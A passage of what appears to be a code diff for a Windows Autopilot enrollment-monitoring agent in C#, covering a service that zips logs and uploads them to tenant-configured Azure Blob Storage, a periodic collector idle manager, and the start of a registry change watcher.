||||
|
||||
private static readonly string AgentLogFolder =
|
||||
Environment.ExpandEnvironmentVariables(Constants.LogDirectory);
|
||||
|
||||
/// <summary>
|
||||
/// File extensions collected from built-in log folders (Agent + IME).
|
||||
/// Covers standard logs, structured data, traces, event logs, and diagnostics archives.
|
||||
/// </summary>
|
||||
private static readonly string[] LogFilePatterns = new[]
|
||||
{
|
||||
"*.log", "*.txt", "*.json", "*.jsonl",
|
||||
"*.etl", "*.evtx", "*.xml", "*.csv", "*.cab"
|
||||
};
|
||||
|
||||
public DiagnosticsPackageService(AgentConfiguration configuration, AgentLogger logger, BackendApiClient apiClient)
|
||||
{
|
||||
_configuration = configuration;
|
||||
_logger = logger;
|
||||
_apiClient = apiClient;
|
||||
_httpClient = new HttpClient { Timeout = TimeSpan.FromMinutes(5) };
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a diagnostics ZIP and uploads it to the configured Blob Storage container.
|
||||
/// Returns a DiagnosticsUploadResult with BlobName set on success, or ErrorCode set on failure.
|
||||
/// Returns null if the upload was skipped (mode=Off, not configured, or OnFailure+succeeded).
|
||||
/// This method is non-fatal: all exceptions are caught and logged.
|
||||
/// </summary>
|
||||
/// <param name="enrollmentSucceeded">
|
||||
/// True for a successful enrollment (affects OnFailure mode check and sessioninfo.txt content).
|
||||
/// Pass true for WhiteGlove pre-provisioning (it succeeded up to this point).
|
||||
/// </param>
|
||||
/// <param name="fileNameSuffix">
|
||||
/// Optional suffix inserted before the .zip extension.
|
||||
/// Example: "preprov" → AgentDiagnostics-{sessionId}-{timestamp}-preprov.zip
|
||||
/// Null (default) → AgentDiagnostics-{sessionId}-{timestamp}.zip
|
||||
/// </param>
|
||||
public virtual async Task<DiagnosticsUploadResult> CreateAndUploadAsync(bool enrollmentSucceeded, string fileNameSuffix = null)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Check if upload is needed based on configuration
|
||||
var mode = _configuration.DiagnosticsUploadMode ?? "Off";
|
||||
if (string.Equals(mode, "Off", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
_logger.Debug("Diagnostics upload disabled (mode=Off)");
|
||||
return null;
|
||||
}
|
||||
|
||||
if (!_configuration.DiagnosticsUploadEnabled)
|
||||
{
|
||||
_logger.Debug("Diagnostics upload skipped: not configured for this tenant");
|
||||
return null;
|
||||
}
|
||||
|
||||
if (string.Equals(mode, "OnFailure", StringComparison.OrdinalIgnoreCase) && enrollmentSucceeded)
|
||||
{
|
||||
_logger.Info("Diagnostics upload skipped: enrollment succeeded and mode=OnFailure");
|
||||
return null;
|
||||
}
|
||||
|
||||
_logger.Info($"Creating diagnostics package (mode={mode}, enrollmentSucceeded={enrollmentSucceeded}{(fileNameSuffix != null ? $", suffix={fileNameSuffix}" : "")})...");
|
||||
|
||||
// Build ZIP in memory
|
||||
var timestamp = DateTime.UtcNow.ToString("yyyyMMddHHmmss");
|
||||
var suffix = string.IsNullOrEmpty(fileNameSuffix) ? "" : $"-{fileNameSuffix}";
|
||||
var zipFileName = $"AgentDiagnostics-{_configuration.SessionId}-{timestamp}{suffix}.zip";
|
||||
|
||||
byte[] zipBytes;
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
using (var archive = new ZipArchive(ms, ZipArchiveMode.Create, leaveOpen: true))
|
||||
{
|
||||
// 1. sessioninfo.txt
|
||||
AddSessionInfo(archive, enrollmentSucceeded);
|
||||
|
||||
// 2. Agent logs
|
||||
foreach (var pattern in LogFilePatterns)
|
||||
AddLogFiles(archive, AgentLogFolder, "AgentLogs", pattern);
|
||||
|
||||
// 3. IME logs (all relevant files in the IME log folder)
|
||||
foreach (var pattern in LogFilePatterns)
|
||||
AddLogFiles(archive, ImeLogFolder, "ImeLogs", pattern);
|
||||
|
||||
// 4. Configured additional log paths (global + tenant, validated by guards)
|
||||
foreach (var entry in _configuration.DiagnosticsLogPaths ?? new System.Collections.Generic.List<Shared.Models.DiagnosticsLogPath>())
|
||||
{
|
||||
// Resolve %LOGGED_ON_USER_PROFILE% token and get profile path for guard exception
|
||||
var userProfilePath = UserProfileResolver.ContainsUserProfileToken(entry.Path)
|
||||
? UserProfileResolver.GetLoggedOnUserProfilePath() : null;
|
||||
|
||||
if (!DiagnosticsPathGuards.IsDiagnosticsPathAllowed(entry.Path, _configuration.UnrestrictedMode, userProfilePath))
|
||||
{
|
||||
_logger.Warning($"Diagnostics path blocked by guard: {entry.Path}");
|
||||
continue;
|
||||
}
|
||||
var expandedPath = UserProfileResolver.ExpandCustomTokens(entry.Path);
|
||||
if (expandedPath == null)
|
||||
{
|
||||
_logger.Warning($"Diagnostics path skipped (no user session for token): {entry.Path}");
|
||||
continue;
|
||||
}
|
||||
var folder = Path.GetDirectoryName(expandedPath);
|
||||
var pattern = Path.GetFileName(expandedPath);
|
||||
if (string.IsNullOrEmpty(folder)) continue;
|
||||
if (string.IsNullOrEmpty(pattern) || !pattern.Contains(".")) pattern = "*";
|
||||
var zipFolder = $"AdditionalLogs/{Path.GetFileName(folder)}";
|
||||
AddLogFiles(archive, folder, zipFolder, pattern, entry.IncludeSubfolders);
|
||||
}
|
||||
}
|
||||
|
||||
zipBytes = ms.ToArray();
|
||||
}
|
||||
|
||||
_logger.Info($"Diagnostics package created: {zipFileName} ({zipBytes.Length / 1024} KB)");
|
||||
|
||||
// Fetch a short-lived upload URL just before uploading — never stored in config or on disk
|
||||
_logger.Info("Requesting diagnostics upload URL from backend...");
|
||||
var uploadUrlResponse = await _apiClient.GetDiagnosticsUploadUrlAsync(
|
||||
_configuration.TenantId,
|
||||
_configuration.SessionId,
|
||||
zipFileName);
|
||||
|
||||
if (uploadUrlResponse == null || !uploadUrlResponse.Success || string.IsNullOrEmpty(uploadUrlResponse.UploadUrl))
|
||||
{
|
||||
var errorCode = uploadUrlResponse?.Message ?? "Failed to get diagnostics upload URL from backend";
|
||||
_logger.Warning($"Failed to get diagnostics upload URL from backend — skipping upload: {errorCode}");
|
||||
return new DiagnosticsUploadResult { ErrorCode = errorCode };
|
||||
}
|
||||
|
||||
var sasUrlPrefix = BuildSasUrlPrefix(uploadUrlResponse.UploadUrl);
|
||||
|
||||
// Resolve the final PUT target: Hosted SAS is already blob-scoped at
|
||||
// {tenantId}/{filename} and must be used as-is; CustomerSas (or a null
|
||||
// Destination from an older backend) is container-scoped and we append
|
||||
// the blob filename ourselves.
|
||||
var blobUploadUrl = BuildBlobUploadUrl(uploadUrlResponse.UploadUrl, zipFileName, uploadUrlResponse.Destination);
|
||||
|
||||
// BlobName for the Sessions row: prefer the backend-supplied path because
|
||||
// it encodes destination-specific layout (e.g. tenant-prefix for Hosted).
|
||||
// Fall back to the local filename so the agent still works against older
|
||||
// backends that don't return BlobName.
|
||||
var persistedBlobName = !string.IsNullOrEmpty(uploadUrlResponse.BlobName)
|
||||
? uploadUrlResponse.BlobName
|
||||
: zipFileName;
|
||||
|
||||
// Upload to Blob Storage using the freshly obtained URL
|
||||
var (uploaded, uploadErrorCode) = await UploadToBlobStorageAsync(zipFileName, zipBytes, blobUploadUrl);
|
||||
if (uploaded)
|
||||
{
|
||||
_logger.Info($"Diagnostics package uploaded successfully: {persistedBlobName}");
|
||||
return new DiagnosticsUploadResult
|
||||
{
|
||||
BlobName = persistedBlobName,
|
||||
Destination = uploadUrlResponse.Destination,
|
||||
SasUrlPrefix = sasUrlPrefix,
|
||||
};
|
||||
}
|
||||
|
||||
return new DiagnosticsUploadResult
|
||||
{
|
||||
Destination = uploadUrlResponse.Destination,
|
||||
SasUrlPrefix = sasUrlPrefix,
|
||||
ErrorCode = uploadErrorCode,
|
||||
};
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Diagnostics package creation/upload failed (non-fatal): {ex.Message}");
|
||||
return new DiagnosticsUploadResult { ErrorCode = ex.Message };
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns a safe, truncated SAS URL prefix for logging — shows account/container but not the token.
|
||||
/// Example: "https://account.blob.core.windows.net/diagnostics?sp=(truncated)"
|
||||
/// </summary>
|
||||
private static string BuildSasUrlPrefix(string sasUrl)
|
||||
{
|
||||
try
|
||||
{
|
||||
var qIndex = sasUrl.IndexOf('?');
|
||||
if (qIndex < 0) return sasUrl;
|
||||
|
||||
// Keep only the first query param name to show which container/permissions are set
|
||||
var basePath = sasUrl.Substring(0, qIndex);
|
||||
var query = sasUrl.Substring(qIndex + 1);
|
||||
var firstParam = query.Split('&')[0].Split('=')[0];
|
||||
return $"{basePath}?{firstParam}=(truncated)";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "(url unavailable)";
|
||||
}
|
||||
}
|
||||
|
||||
private void AddSessionInfo(ZipArchive archive, bool enrollmentSucceeded)
|
||||
{
|
||||
var sb = new StringBuilder();
|
||||
sb.AppendLine($"Session ID: {_configuration.SessionId}");
|
||||
sb.AppendLine($"Tenant ID: {_configuration.TenantId}");
|
||||
sb.AppendLine($"Device Name: {Environment.MachineName}");
|
||||
sb.AppendLine($"Timestamp: {DateTime.UtcNow:O}");
|
||||
sb.AppendLine($"Enrollment Result: {(enrollmentSucceeded ? "Succeeded" : "Failed")}");
|
||||
|
||||
// Hardware info via existing DeviceInfoProvider (WMI)
|
||||
sb.AppendLine($"Manufacturer: {DeviceInfoProvider.GetManufacturer()}");
|
||||
sb.AppendLine($"Model: {DeviceInfoProvider.GetModel()}");
|
||||
sb.AppendLine($"Serial Number: {DeviceInfoProvider.GetSerialNumber()}");
|
||||
|
||||
var entry = archive.CreateEntry("sessioninfo.txt");
|
||||
using var writer = new StreamWriter(entry.Open(), Encoding.UTF8);
|
||||
writer.Write(sb.ToString());
|
||||
}
|
||||
|
||||
private void AddLogFiles(ZipArchive archive, string sourceFolder, string zipFolder, string searchPattern,
|
||||
bool includeSubfolders = false)
|
||||
{
|
||||
if (!Directory.Exists(sourceFolder))
|
||||
{
|
||||
_logger.Debug($"Log folder not found, skipping: {sourceFolder}");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var searchOption = includeSubfolders ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly;
|
||||
var files = Directory.GetFiles(sourceFolder, searchPattern, searchOption);
|
||||
foreach (var file in files)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Preserve subfolder structure in the ZIP when includeSubfolders is enabled
|
||||
var relativePath = file.Substring(sourceFolder.Length).TrimStart(Path.DirectorySeparatorChar);
|
||||
var entryName = $"{zipFolder}/{relativePath.Replace(Path.DirectorySeparatorChar, '/')}";
|
||||
|
||||
// Read with FileShare.ReadWrite to avoid locking conflicts with active log writers
|
||||
byte[] content;
|
||||
using (var fs = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
|
||||
using (var reader = new MemoryStream())
|
||||
{
|
||||
fs.CopyTo(reader);
|
||||
content = reader.ToArray();
|
||||
}
|
||||
|
||||
var entry = archive.CreateEntry(entryName, CompressionLevel.Optimal);
|
||||
using var entryStream = entry.Open();
|
||||
entryStream.Write(content, 0, content.Length);
|
||||
|
||||
_logger.Debug($"Added to diagnostics package: {entryName} ({content.Length / 1024} KB)");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Failed to add log file to diagnostics package: {file} - {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Failed to enumerate log files in {sourceFolder}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Resolves the final blob PUT URL based on the destination advertised by the
|
||||
/// backend. Pure helper, internal-static so the V1 test suite can pin both
|
||||
/// branches without exercising any HTTP transport:
|
||||
/// <list type="bullet">
|
||||
/// <item><b>Hosted</b> (or any case-insensitive match): the SAS is already
|
||||
/// blob-scoped at <c>{tenantId}/{filename}</c> and must be used as-is.
|
||||
/// Appending the local filename would produce a double-name URL.</item>
|
||||
/// <item><b>CustomerSas</b> / null / unknown (legacy backend without the
|
||||
/// field): the SAS is container-scoped; insert the blob filename
|
||||
/// before the query string. Preserves prior behaviour.</item>
|
||||
/// </list>
|
||||
/// </summary>
|
||||
internal static string BuildBlobUploadUrl(string sasUrl, string blobFileName, string destination)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(destination)
|
||||
&& string.Equals(destination, "Hosted", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return sasUrl;
|
||||
}
|
||||
|
||||
// CustomerSas or null/unknown — container-scoped SAS, insert blob name.
|
||||
var questionMarkIndex = sasUrl.IndexOf('?');
|
||||
if (questionMarkIndex >= 0)
|
||||
{
|
||||
var basePath = sasUrl.Substring(0, questionMarkIndex).TrimEnd('/');
|
||||
var queryString = sasUrl.Substring(questionMarkIndex);
|
||||
return $"{basePath}/{blobFileName}{queryString}";
|
||||
}
|
||||
return $"{sasUrl.TrimEnd('/')}/{blobFileName}";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Uploads the ZIP bytes to Azure Blob Storage via PUT to the pre-built
|
||||
/// <paramref name="blobUploadUrl"/>. The URL is destination-aware (built by
|
||||
/// <see cref="BuildBlobUploadUrl"/>) and ready to PUT without further mutation.
|
||||
/// <paramref name="blobName"/> is kept for log lines only.
|
||||
/// Returns (success, errorCode) — errorCode is null on success, otherwise the last HTTP error.
|
||||
/// </summary>
|
||||
private async Task<(bool success, string errorCode)> UploadToBlobStorageAsync(string blobName, byte[] data, string blobUploadUrl)
|
||||
{
|
||||
var blobUrl = blobUploadUrl;
|
||||
|
||||
const int maxRetries = 3;
|
||||
string lastErrorCode = null;
|
||||
for (int attempt = 1; attempt <= maxRetries; attempt++)
|
||||
{
|
||||
try
|
||||
{
|
||||
_logger.Info($"Uploading diagnostics package (attempt {attempt}/{maxRetries}, {data.Length / 1024} KB)...");
|
||||
|
||||
using var content = new ByteArrayContent(data);
|
||||
content.Headers.Add("x-ms-blob-type", "BlockBlob");
|
||||
content.Headers.ContentType = new System.Net.Http.Headers.MediaTypeHeaderValue("application/zip");
|
||||
|
||||
var response = await _httpClient.PutAsync(blobUrl, content);
|
||||
|
||||
if (response.IsSuccessStatusCode)
|
||||
{
|
||||
return (true, null);
|
||||
}
|
||||
|
||||
var statusCode = (int)response.StatusCode;
|
||||
lastErrorCode = $"HTTP {statusCode} {response.ReasonPhrase}";
|
||||
var responseBody = await response.Content.ReadAsStringAsync();
|
||||
|
||||
// Auth errors (401/403) are permanent — SAS token invalid or expired, retrying won't help
|
||||
if (statusCode == 401 || statusCode == 403)
|
||||
{
|
||||
_logger.Warning($"Blob upload auth error (not retryable): {lastErrorCode} - {responseBody}");
|
||||
return (false, lastErrorCode);
|
||||
}
|
||||
|
||||
_logger.Warning($"Blob upload attempt {attempt} failed: {lastErrorCode} - {responseBody}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
lastErrorCode = ex.Message;
|
||||
_logger.Warning($"Blob upload attempt {attempt} failed: {ex.Message}");
|
||||
}
|
||||
|
||||
if (attempt < maxRetries)
|
||||
{
|
||||
var delay = TimeSpan.FromSeconds(Math.Pow(2, attempt)); // 2s, 4s, 8s
|
||||
_logger.Info($"Retrying blob upload in {delay.TotalSeconds}s...");
|
||||
await Task.Delay(delay);
|
||||
}
|
||||
}
|
||||
|
||||
_logger.Warning($"Diagnostics package upload failed after {maxRetries} attempts");
|
||||
return (false, lastErrorCode);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,311 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Threading;
|
||||
using AutopilotMonitor.Agent.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Periodic;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Transport;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Manages periodic collectors (PerformanceCollector, AgentSelfMetricsCollector) and their
|
||||
/// idle lifecycle: stops them after inactivity, restarts when real enrollment activity resumes.
|
||||
/// </summary>
|
||||
public class PeriodicCollectorManager : IDisposable
|
||||
{
|
||||
private readonly AgentConfiguration _configuration;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly string _agentVersion;
|
||||
private readonly Action<EnrollmentEvent> _emitEvent;
|
||||
private readonly BackendApiClient _apiClient;
|
||||
private readonly EventSpool _spool;
|
||||
private readonly RemoteConfigService _remoteConfigService;
|
||||
|
||||
private PerformanceCollector _performanceCollector;
|
||||
private AgentSelfMetricsCollector _agentSelfMetricsCollector;
|
||||
|
||||
private DateTime _lastRealEventTime = DateTime.UtcNow;
|
||||
private bool _collectorsIdleStopped;
|
||||
private int _collectorIdleTimeoutMinutes = 15;
|
||||
private Timer _idleCheckTimer;
|
||||
|
||||
/// <summary>
|
||||
/// Optional reference to the StallProbeCollector for resetting/running probes
|
||||
/// during idle checks. Set after creation in StartOptionalCollectors.
|
||||
/// </summary>
|
||||
public StallProbeCollector StallProbeCollector { get; set; }
|
||||
|
||||
public PeriodicCollectorManager(
|
||||
AgentConfiguration configuration,
|
||||
AgentLogger logger,
|
||||
string agentVersion,
|
||||
Action<EnrollmentEvent> emitEvent,
|
||||
BackendApiClient apiClient,
|
||||
EventSpool spool,
|
||||
RemoteConfigService remoteConfigService)
|
||||
{
|
||||
_configuration = configuration;
|
||||
_logger = logger;
|
||||
_agentVersion = agentVersion;
|
||||
_emitEvent = emitEvent;
|
||||
_apiClient = apiClient;
|
||||
_spool = spool;
|
||||
_remoteConfigService = remoteConfigService;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Whether periodic collectors are currently paused due to idle timeout.
|
||||
/// </summary>
|
||||
public bool CollectorsIdleStopped => _collectorsIdleStopped;
|
||||
|
||||
/// <summary>
|
||||
/// Starts the performance and metrics collectors and arms the idle check timer.
|
||||
/// Called from CollectorCoordinator.StartOptionalCollectors.
|
||||
/// </summary>
|
||||
public void Start()
|
||||
{
|
||||
var config = _remoteConfigService?.CurrentConfig;
|
||||
var collectors = config?.Collectors;
|
||||
|
||||
var perfInterval = collectors?.PerformanceIntervalSeconds ?? 60;
|
||||
_performanceCollector = new PerformanceCollector(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger,
|
||||
perfInterval
|
||||
);
|
||||
_performanceCollector.Start();
|
||||
_logger.Info($"PerformanceCollector started (interval={perfInterval}s)");
|
||||
|
||||
if (collectors?.EnableAgentSelfMetrics != false)
|
||||
{
|
||||
var selfMetricsInterval = collectors?.AgentSelfMetricsIntervalSeconds ?? 60;
|
||||
_agentSelfMetricsCollector = new AgentSelfMetricsCollector(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_apiClient.NetworkMetrics,
|
||||
_spool,
|
||||
_logger,
|
||||
_agentVersion,
|
||||
selfMetricsInterval
|
||||
);
|
||||
_agentSelfMetricsCollector.Start();
|
||||
_logger.Info($"AgentSelfMetricsCollector started (interval={selfMetricsInterval}s)");
|
||||
}
|
||||
|
||||
_collectorIdleTimeoutMinutes = collectors?.CollectorIdleTimeoutMinutes ?? 15;
|
||||
_lastRealEventTime = DateTime.UtcNow;
|
||||
_collectorsIdleStopped = false;
|
||||
|
||||
_idleCheckTimer = new Timer(
|
||||
IdleCheckCallback,
|
||||
null,
|
||||
TimeSpan.FromSeconds(60),
|
||||
TimeSpan.FromSeconds(60)
|
||||
);
|
||||
if (_collectorIdleTimeoutMinutes > 0)
|
||||
_logger.Info($"Collector idle timeout enabled: {_collectorIdleTimeoutMinutes} min");
|
||||
else
|
||||
_logger.Info("Collector idle timeout disabled (0)");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Called when a non-periodic event is received. Updates idle tracking,
|
||||
/// resets stall probes, and restarts paused collectors.
|
||||
/// </summary>
|
||||
public void OnRealEventReceived()
|
||||
{
|
||||
_lastRealEventTime = DateTime.UtcNow;
|
||||
|
||||
try { StallProbeCollector?.ResetProbes(); }
|
||||
catch (Exception ex) { _logger.Verbose($"StallProbeCollector.ResetProbes failed: {ex.Message}"); }
|
||||
|
||||
if (_collectorsIdleStopped)
|
||||
{
|
||||
RestartPeriodicCollectors();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops just the performance collector (used during WhiteGlove completion).
|
||||
/// </summary>
|
||||
public void StopPerformanceCollectorOnly()
|
||||
{
|
||||
_performanceCollector?.Stop();
|
||||
_performanceCollector?.Dispose();
|
||||
_performanceCollector = null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops all periodic collectors and the idle check timer.
|
||||
/// </summary>
|
||||
public void Stop()
|
||||
{
|
||||
_idleCheckTimer?.Dispose();
|
||||
_idleCheckTimer = null;
|
||||
|
||||
_performanceCollector?.Stop();
|
||||
_performanceCollector?.Dispose();
|
||||
_performanceCollector = null;
|
||||
|
||||
_agentSelfMetricsCollector?.Stop();
|
||||
_agentSelfMetricsCollector?.Dispose();
|
||||
_agentSelfMetricsCollector = null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns true for events generated by periodic timers (not real enrollment activity).
|
||||
/// </summary>
|
||||
public static bool IsPeriodicEvent(string eventType)
|
||||
{
|
||||
return eventType == "performance_snapshot" ||
|
||||
eventType == "agent_metrics_snapshot" ||
|
||||
eventType == "performance_collector_stopped" ||
|
||||
eventType == "agent_metrics_collector_stopped" ||
|
||||
eventType == Constants.EventTypes.StallProbeCheck ||
|
||||
eventType == Constants.EventTypes.StallProbeResult ||
|
||||
eventType == Constants.EventTypes.SessionStalled;
|
||||
}
|
||||
|
||||
private void IdleCheckCallback(object state)
|
||||
{
|
||||
var idleMinutes = (DateTime.UtcNow - _lastRealEventTime).TotalMinutes;
|
||||
|
||||
try
|
||||
{
|
||||
StallProbeCollector?.CheckAndRunProbes(idleMinutes);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("StallProbeCollector.CheckAndRunProbes threw", ex);
|
||||
}
|
||||
|
||||
if (_collectorsIdleStopped)
|
||||
return;
|
||||
|
||||
if (idleMinutes < _collectorIdleTimeoutMinutes)
|
||||
return;
|
||||
|
||||
_logger.Info($"Collector idle timeout reached ({_collectorIdleTimeoutMinutes} min, idle for {idleMinutes:F0} min) — stopping periodic collectors");
|
||||
|
||||
if (_performanceCollector != null)
|
||||
{
|
||||
_performanceCollector.Stop();
|
||||
_performanceCollector.Dispose();
|
||||
_performanceCollector = null;
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
Timestamp = DateTime.UtcNow,
|
||||
EventType = "performance_collector_stopped",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "MonitoringService",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Performance collector stopped after {_collectorIdleTimeoutMinutes} min idle (no real enrollment activity)",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "reason", "idle_timeout" },
|
||||
{ "idleTimeoutMinutes", _collectorIdleTimeoutMinutes },
|
||||
{ "idleMinutes", Math.Round(idleMinutes, 1) }
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (_agentSelfMetricsCollector != null)
|
||||
{
|
||||
_agentSelfMetricsCollector.Stop();
|
||||
_agentSelfMetricsCollector.Dispose();
|
||||
_agentSelfMetricsCollector = null;
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
Timestamp = DateTime.UtcNow,
|
||||
EventType = "agent_metrics_collector_stopped",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "MonitoringService",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"AgentSelfMetrics collector stopped after {_collectorIdleTimeoutMinutes} min idle (no real enrollment activity)",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "reason", "idle_timeout" },
|
||||
{ "idleTimeoutMinutes", _collectorIdleTimeoutMinutes },
|
||||
{ "idleMinutes", Math.Round(idleMinutes, 1) }
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
_collectorsIdleStopped = true;
|
||||
}
|
||||
|
||||
private void RestartPeriodicCollectors()
|
||||
{
|
||||
var config = _remoteConfigService?.CurrentConfig;
|
||||
var collectors = config?.Collectors;
|
||||
|
||||
_logger.Info("Restarting periodic collectors — new enrollment activity detected after idle stop");
|
||||
|
||||
try
|
||||
{
|
||||
var perfInterval = collectors?.PerformanceIntervalSeconds ?? 60;
|
||||
_performanceCollector = new PerformanceCollector(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger,
|
||||
perfInterval
|
||||
);
|
||||
_performanceCollector.Start();
|
||||
|
||||
if (collectors?.EnableAgentSelfMetrics != false)
|
||||
{
|
||||
var selfMetricsInterval = collectors?.AgentSelfMetricsIntervalSeconds ?? 60;
|
||||
_agentSelfMetricsCollector = new AgentSelfMetricsCollector(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_apiClient.NetworkMetrics,
|
||||
_spool,
|
||||
_logger,
|
||||
_agentVersion,
|
||||
selfMetricsInterval
|
||||
);
|
||||
_agentSelfMetricsCollector.Start();
|
||||
}
|
||||
|
||||
_lastRealEventTime = DateTime.UtcNow;
|
||||
_collectorsIdleStopped = false;
|
||||
if (_collectorIdleTimeoutMinutes > 0)
|
||||
{
|
||||
_idleCheckTimer?.Change(TimeSpan.FromSeconds(60), TimeSpan.FromSeconds(60));
|
||||
}
|
||||
|
||||
_logger.Info("Periodic collectors restarted successfully");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error restarting periodic collectors", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
_idleCheckTimer?.Dispose();
|
||||
_performanceCollector?.Dispose();
|
||||
_agentSelfMetricsCollector?.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,311 +0,0 @@
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Threading;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Interop;
|
||||
using Microsoft.Win32;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Watches a registry key for changes using RegNotifyChangeKeyValue.
|
||||
/// Raises Changed whenever the watched key/subtree changes.
|
||||
///
|
||||
/// Notes:
|
||||
/// - Notification is for the key scope, not one individual value.
|
||||
/// - To track a specific value, read/compare that value in the Changed handler.
|
||||
/// - Uses a dedicated background thread for robustness.
|
||||
/// </summary>
|
||||
internal sealed class RegistryWatcher : IDisposable
|
||||
{
|
||||
private readonly UIntPtr _hive;
|
||||
private readonly string _subKey;
|
||||
private readonly bool _watchSubtree;
|
||||
private readonly RegistryView _view;
|
||||
private readonly RegistryNativeMethods.RegChangeNotifyFilter _filter;
|
||||
private readonly Action<string> _trace;
|
||||
|
||||
private readonly object _sync = new object();
|
||||
|
||||
private CancellationTokenSource _cts;
|
||||
private Thread _thread;
|
||||
private Exception _backgroundException;
|
||||
private bool _disposed;
|
||||
|
||||
public event EventHandler Changed;
|
||||
public event EventHandler<Exception> Error;
|
||||
|
||||
/// <param name="trace">Optional trace callback for diagnostic logging (called on every loop iteration).</param>
|
||||
public RegistryWatcher(
|
||||
RegistryHive hive,
|
||||
string subKey,
|
||||
bool watchSubtree = false,
|
||||
RegistryView view = RegistryView.Default,
|
||||
RegistryNativeMethods.RegChangeNotifyFilter filter =
|
||||
RegistryNativeMethods.RegChangeNotifyFilter.LastSet |
|
||||
RegistryNativeMethods.RegChangeNotifyFilter.ThreadAgnostic,
|
||||
Action<string> trace = null)
|
||||
{
|
||||
_hive = HiveToPointer(hive);
|
||||
_subKey = subKey ?? throw new ArgumentNullException(nameof(subKey));
|
||||
_watchSubtree = watchSubtree;
|
||||
_view = view;
|
||||
_filter = filter;
|
||||
_trace = trace;
|
||||
}
|
||||
|
||||
public bool IsRunning
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (_sync)
|
||||
{
|
||||
return _thread != null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
ThrowIfDisposed();
|
||||
|
||||
lock (_sync)
|
||||
{
|
||||
if (_thread != null)
|
||||
throw new InvalidOperationException("Watcher is already running.");
|
||||
|
||||
_backgroundException = null;
|
||||
_cts = new CancellationTokenSource();
|
||||
|
||||
_thread = new Thread(WatchThreadMain)
|
||||
{
|
||||
IsBackground = true,
|
||||
Name = $"RegistryWatcher: {_subKey}"
|
||||
};
|
||||
|
||||
_thread.Start(_cts.Token);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Requests stop without blocking.
|
||||
/// Safe to call from Changed handlers.
|
||||
/// </summary>
|
||||
public void RequestStop()
|
||||
